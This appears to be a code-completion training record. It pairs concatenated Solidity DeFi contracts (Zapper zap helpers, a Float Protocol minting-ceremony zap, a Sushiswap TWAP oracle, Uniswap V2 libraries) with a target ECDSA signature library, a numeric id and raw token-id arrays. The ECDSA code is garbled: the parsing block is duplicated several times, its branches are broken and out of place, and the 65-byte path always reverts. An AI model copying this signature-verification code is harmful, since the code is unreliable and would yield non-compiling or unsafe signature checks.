i = 0; i < tokens.length; i++) { uint256 qty; if (tokens[i] == ETHAddress) { qty = address(this).balance.sub(totalAffiliateBalance[tokens[i]]); Address.sendValue(payable(owner()), qty); } else { qty = IERC20(tokens[i]).balanceOf(address(this)).sub( totalAffiliateBalance[tokens[i]] ); IERC20(tokens[i]).safeTransfer(owner(), qty); } } } ///@notice Withdraw affilliate share, retaining goodwill share function affilliateWithdraw(address[] calldata tokens) external { uint256 tokenBal; for (uint256 i = 0; i < tokens.length; i++) { tokenBal = affiliateBalance[msg.sender][tokens[i]]; affiliateBalance[msg.sender][tokens[i]] = 0; totalAffiliateBalance[tokens[i]] = totalAffiliateBalance[tokens[i]].sub( tokenBal ); if (tokens[i] == ETHAddress) { Address.sendValue(msg.sender, tokenBal); } else { IERC20(tokens[i]).safeTransfer(msg.sender, tokenBal); } } } } // ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2021 zapper // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper // SPDX-License-Identifier: GPLv2 // Changes: // - Conversion to 0.7.6 // - abstract type // - library imports throughout pragma solidity ^0.7.6; import "./ZapBaseV1.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; abstract contract ZapInBaseV2 is ZapBaseV1 { using SafeMath for uint256; using SafeERC20 for IERC20; function _pullTokens( address token, uint256 amount, address affiliate, bool enableGoodwill, bool shouldSellEntireBalance ) internal returns (uint256 value) { uint256 totalGoodwillPortion; if (token == address(0)) { require(msg.value > 0, "No eth sent"); // subtract goodwill totalGoodwillPortion = _subtractGoodwill( ETHAddress, msg.value, affiliate, enableGoodwill ); return msg.value.sub(totalGoodwillPortion); } require(amount > 0, "Invalid token amount"); require(msg.value == 0, "Eth sent with token"); //transfer token if (shouldSellEntireBalance) { require( Address.isContract(msg.sender), "ERR: shouldSellEntireBalance is true for EOA" ); amount = IERC20(token).allowance(msg.sender, address(this)); } IERC20(token).safeTransferFrom(msg.sender, address(this), amount); // subtract goodwill totalGoodwillPortion = _subtractGoodwill( token, amount, affiliate, enableGoodwill ); return amount.sub(totalGoodwillPortion); } function _subtractGoodwill( address token, uint256 amount, address affiliate, bool enableGoodwill ) internal returns (uint256 totalGoodwillPortion) { bool whitelisted = feeWhitelist[msg.sender]; if (enableGoodwill && !whitelisted && goodwill > 0) { totalGoodwillPortion = SafeMath.div( SafeMath.mul(amount, goodwill), 10000 ); if (affiliates[affiliate]) { if (token == address(0)) { token = ETHAddress; } uint256 affiliatePortion = totalGoodwillPortion.mul(affiliateSplit).div(100); affiliateBalance[affiliate][token] = affiliateBalance[affiliate][token] .add(affiliatePortion); totalAffiliateBalance[token] = totalAffiliateBalance[token].add( affiliatePortion ); } } } } // ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2021 zapper // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper // SPDX-License-Identifier: GPLv2 // Changes: // - Uses msg.sender / removes the transfer from the zap contract. // - Uses IMintingCeremony over IVault pragma solidity =0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../funds/interfaces/IMintingCeremony.sol"; import "../external-lib/zapper/ZapInBaseV2.sol"; contract FloatMintingCeremonyZapInV1 is ZapInBaseV2 { using SafeMath for uint256; // calldata only accepted for approved zap contracts mapping(address => bool) public approvedTargets; event zapIn(address sender, address pool, uint256 tokensRec); constructor(uint256 _goodwill, uint256 _affiliateSplit) ZapBaseV1(_goodwill, _affiliateSplit) {} /** @notice This function commits to the Float Minting Ceremony with ETH or ERC20 tokens @param fromToken The token used for entry (address(0) if ether) @param amountIn The amount of fromToken to invest @param ceremony Float Protocol: Minting Ceremony address @param minFloatTokens The minimum acceptable quantity Float tokens to receive. Reverts otherwise @param intermediateToken Token to swap fromToken to before entering ceremony @param swapTarget Excecution target for the swap or zap @param swapData DEX or Zap data @param affiliate Affiliate address @return tokensReceived - Quantity of FLOAT that will be received */ function ZapIn( address fromToken, uint256 amountIn, address ceremony, uint256 minFloatTokens, address intermediateToken, address swapTarget, bytes calldata swapData, address affiliate, bool shouldSellEntireBalance ) external payable stopInEmergency returns (uint256 tokensReceived) { require( approvedTargets[swapTarget] || swapTarget == address(0), "Target not Authorized" ); // get incoming tokens uint256 toInvest = _pullTokens( fromToken, amountIn, affiliate, true, shouldSellEntireBalance ); // get intermediate token uint256 intermediateAmt = _fillQuote(fromToken, intermediateToken, toInvest, swapTarget, swapData); // Deposit to Minting Ceremony tokensReceived = _ceremonyCommit(intermediateAmt, ceremony, minFloatTokens); } function _ceremonyCommit( uint256 amount, address toCeremony, uint256 minTokensRec ) internal returns (uint256 tokensReceived) { address underlyingVaultToken = IMintingCeremony(toCeremony).underlying(); _approveToken(underlyingVaultToken, toCeremony); uint256 initialBal = IERC20(toCeremony).balanceOf(msg.sender); IMintingCeremony(toCeremony).commit(msg.sender, amount, minTokensRec); tokensReceived = IERC20(toCeremony).balanceOf(msg.sender).sub(initialBal); require(tokensReceived >= minTokensRec, "Err: High Slippage"); // Note that tokens are gifted directly, so we don't transfer from vault. // IERC20(toCeremony).safeTransfer(msg.sender, tokensReceived); emit zapIn(msg.sender, toCeremony, tokensReceived); } function _fillQuote( address _fromTokenAddress, address toToken, uint256 _amount, address _swapTarget, bytes memory swapCallData ) internal returns (uint256 amtBought) { uint256 valueToSend; if (_fromTokenAddress == toToken) { return _amount; } if (_fromTokenAddress == address(0)) { valueToSend = _amount; } else { _approveToken(_fromTokenAddress, _swapTarget); } uint256 iniBal = _getBalance(toToken); (bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData); require(success, "Error Swapping Tokens 1"); uint256 finalBal = _getBalance(toToken); amtBought = finalBal.sub(iniBal); } function setApprovedTargets( address[] calldata targets, bool[] calldata isApproved ) external onlyOwner { require(targets.length == isApproved.length, "Invalid Input length"); for (uint256 i = 0; i < targets.length; i++) { approvedTargets[targets[i]] = isApproved[i]; } } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../external-lib/UniswapV2Library.sol"; import "../external-lib/UniswapV2OracleLibrary.sol"; import "../lib/SushiswapLibrary.sol"; import "./interfaces/ITwap.sol"; // As these are "Time"-Weighted Average Price contracts, they necessarily rely on time. // solhint-disable not-rely-on-time /** * @title A sliding window for AMMs (specifically Sushiswap) * @notice Uses observations collected over a window to provide moving price averages in the past * @dev This is a singleton TWAP that only needs to be deployed once per desired parameters. `windowSize` has a precision of `windowSize / granularity` * Errors: * MissingPastObsr - We do not have suffient past observations. * UnexpectedElapsed - We have an unexpected time elapsed. * EarlyUpdate - Tried to update the TWAP before the period has elapsed. * InvalidToken - Cannot consult an invalid token pair. */ contract Twap is ITwap { using FixedPoint for *; using SafeMath for uint256; struct Observation { uint256 timestamp; uint256 price0Cumulative; uint256 price1Cumulative; } /* ========== IMMUTABLE VARIABLES ========== */ /// @notice the Uniswap Factory contract for tracking exchanges address public immutable factory; /// @notice The desired amount of time over which the moving average should be computed, e.g. 24 hours uint256 public immutable windowSize; /// @notice The number of observations stored for each pair, i.e. how many price observations are stored for the window /// @dev As granularity increases from, more frequent updates are needed; but precision increases [`windowSize - (windowSize / granularity) * 2`, `windowSize`] uint8 public immutable granularity; /// @dev Redundant with `granularity` and `windowSize`, but has gas savings & easy read uint256 public immutable periodSize; /* ========== STATE VARIABLES ========== */ /// @notice Mapping from pair address to a list of price observations of that pair mapping(address => Observation[]) public pairObservations; /* ========== EVENTS ========== */ event NewObservation( uint256 timestamp, uint256 price0Cumulative, uint256 price1Cumulative ); /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Sliding Window TWAP * @param factory_ The AMM factory * @param windowSize_ The window size for this TWAP * @param granularity_ The granularity required for the TWAP */ constructor( address factory_, uint256 windowSize_, uint8 granularity_ ) { require(factory_ != address(0), "Twap/InvalidFactory"); require(granularity_ > 1, "Twap/Granularity"); require( (periodSize = windowSize_ / granularity_) * granularity_ == windowSize_, "Twap/WindowSize" ); factory = factory_; windowSize = windowSize_; granularity = granularity_; } /* ========== PURE ========== */ /** * @notice Given the cumulative prices of the start and end of a period, and the length of the period, compute the average price in terms of the amount in * @param priceCumulativeStart the cumulative price for the start of the period * @param priceCumulativeEnd the cumulative price for the end of the period * @param timeElapsed the time from now to the first observation * @param amountIn the amount of tokens in * @return amountOut amount out received for the amount in */ function _computeAmountOut( uint256 priceCumulativeStart, uint256 priceCumulativeEnd, uint256 timeElapsed, uint256 amountIn ) private pure returns (uint256 amountOut) { // overflow is desired. FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed) ); amountOut = priceAverage.mul(amountIn).decode144(); } /* ========== VIEWS ========== */ /** * @notice Calculates the index of the observation for the given `timestamp` * @param timestamp the observation for the timestamp * @return index The index of the observation */ function observationIndexOf(uint256 timestamp) public view returns (uint8 index) { uint256 epochPeriod = timestamp / periodSize; return uint8(epochPeriod % granularity); } /// @inheritdoc ITwap function updateable(address tokenA, address tokenB) external view override(ITwap) returns (bool) { address pair = SushiswapLibrary.pairFor(factory, tokenA, tokenB); uint8 observationIndex = observationIndexOf(block.timestamp); Observation storage observation = pairObservations[pair][observationIndex]; // We only want to commit updates once per period (i.e. windowSize / granularity). uint256 timeElapsed = block.timestamp - observation.timestamp; return timeElapsed > periodSize; } /// @inheritdoc ITwap function consult( address tokenIn, uint256 amountIn, address tokenOut ) external view override(ITwap) returns (uint256 amountOut) { address pair = SushiswapLibrary.pairFor(factory, tokenIn, tokenOut); Observation storage firstObservation = _getFirstObservationInWindow(pair); uint256 timeElapsed = block.timestamp - firstObservation.timestamp; require(timeElapsed <= windowSize, "Twap/MissingPastObsr"); require( timeElapsed >= windowSize - periodSize * 2, "Twap/UnexpectedElapsed" ); (uint256 price0Cumulative, uint256 price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(pair); (address token0, address token1) = UniswapV2Library.sortTokens(tokenIn, tokenOut); if (token0 == tokenIn) { return _computeAmountOut( firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn ); } require(token1 == tokenIn, "Twap/InvalidToken"); return _computeAmountOut( firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn ); } /** * @notice Observation from the oldest epoch (at the beginning of the window) relative to the current time * @param pair the Uniswap pair address * @return firstObservation The observation from the oldest epoch relative to current time. */ function _getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) { uint8 observationIndex = observationIndexOf(block.timestamp); // No overflow issues; if observationIndex + 1 overflows, result is still zero. uint8 firstObservationIndex = (observationIndex + 1) % granularity; firstObservation = pairObservations[pair][firstObservationIndex]; } /* ========== MUTATIVE FUNCTIONS ========== */ /// @inheritdoc ITwap function update(address tokenA, address tokenB) external override(ITwap) returns (bool) { address pair = SushiswapLibrary.pairFor(factory, tokenA, tokenB); // Populate the array with empty observations for the first call. for (uint256 i = pairObservations[pair].length; i < granularity; i++) { pairObservations[pair].push(); } // Get the observation for the current period. uint8 observationIndex = observationIndexOf(block.timestamp); Observation storage observation = pairObservations[pair][observationIndex]; // We only want to commit updates once per period (i.e. windowSize / granularity). uint256 timeElapsed = block.timestamp - observation.timestamp; if (timeElapsed <= periodSize) { // Skip update as we're in the same observation slot. return false; } (uint256 price0Cumulative, uint256 price1Cumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(pair); observation.timestamp = block.timestamp; observation.price0Cumulative = price0Cumulative; observation.price1Cumulative = price1Cumulative; emit NewObservation( observation.timestamp, observation.price0Cumulative, observation.price1Cumulative ); return true; } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.4.0; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; library UniswapV2Library { using SafeMath for uint256; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } // fetches and sorts the reserves for a pair function getReserves( address factory, address tokenA, address tokenB ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require( reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut( address factory, uint256 amountIn, address[] memory path ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn( address factory, uint256 amountOut, address[] memory path ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/lib/contracts/libraries/FixedPoint.sol"; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2**32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices(address pair) internal view returns ( uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp ) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../external-lib/UniswapV2Library.sol"; library SushiswapLibrary { // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = UniswapV2Library.sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash ) ) ) ); } } // SPDX-License-Identifier: UNLICENSED pragma solidity =0.7.6; pragma abicoder v2; import "../MonetaryPolicyV1.sol"; contract MonetaryPolicyV1Harness is MonetaryPolicyV1 { uint256 public blockNumber; constructor(address _governance, address _ethUsdOracle) MonetaryPolicyV1(_governance, _ethUsdOracle) {} function _blockNumber() internal view override returns (uint256) { return blockNumber; } function __setBlock(uint256 _number) external { blockNumber = _number; } }
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. These functions can be used to verify that a message was signed by the holder of the private keys of a given address./
library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length == 65) { assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } { bytes32 r; bytes32 s; uint8 v; if (signature.length == 65) { assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } { bytes32 r; bytes32 s; uint8 v; if (signature.length == 65) { assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } } else if (signature.length == 64) { { bytes32 r; bytes32 s; uint8 v; if (signature.length == 65) { assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and( vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ) v := add(shr(255, vs), 27) } revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } } else { function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } }
12,841,947
[ 1, 4958, 549, 21507, 22901, 11678, 7053, 9249, 15067, 261, 7228, 19748, 13, 5295, 18, 8646, 4186, 848, 506, 1399, 358, 3929, 716, 279, 883, 1703, 6726, 635, 326, 10438, 434, 326, 3238, 1311, 434, 279, 864, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 7773, 19748, 288, 203, 225, 445, 5910, 12, 3890, 1578, 1651, 16, 1731, 3778, 3372, 13, 203, 565, 2713, 203, 565, 16618, 203, 565, 1135, 261, 2867, 13, 203, 203, 225, 288, 203, 565, 1731, 1578, 436, 31, 203, 565, 1731, 1578, 272, 31, 203, 565, 2254, 28, 331, 31, 203, 203, 565, 309, 261, 8195, 18, 2469, 422, 15892, 13, 288, 203, 1377, 19931, 288, 203, 3639, 436, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 3462, 3719, 203, 3639, 272, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 7132, 3719, 203, 3639, 331, 519, 1160, 12, 20, 16, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 4848, 20349, 203, 1377, 289, 203, 1377, 19931, 288, 203, 3639, 2231, 6195, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 7132, 3719, 203, 3639, 436, 519, 312, 945, 12, 1289, 12, 8195, 16, 374, 92, 3462, 3719, 203, 3639, 272, 519, 471, 12, 203, 1850, 6195, 16, 203, 1850, 374, 92, 27, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 18217, 74, 203, 3639, 262, 203, 3639, 331, 519, 527, 12, 674, 86, 12, 10395, 16, 6195, 3631, 12732, 13, 203, 1377, 289, 203, 1377, 15226, 2932, 7228, 19748, 30, 2057, 3372, 769, 8863, 203, 565, 289, 203, 203, 565, 327, 5910, 12, 2816, 16, 331, 16, 436, 16, 272, 1769, 203, 225, 289, 203, 203, 225, 288, 203, 565, 1731, 1578, 436, 31, 203, 565, 1731, 1578, 272, 31, 203, 2 ]
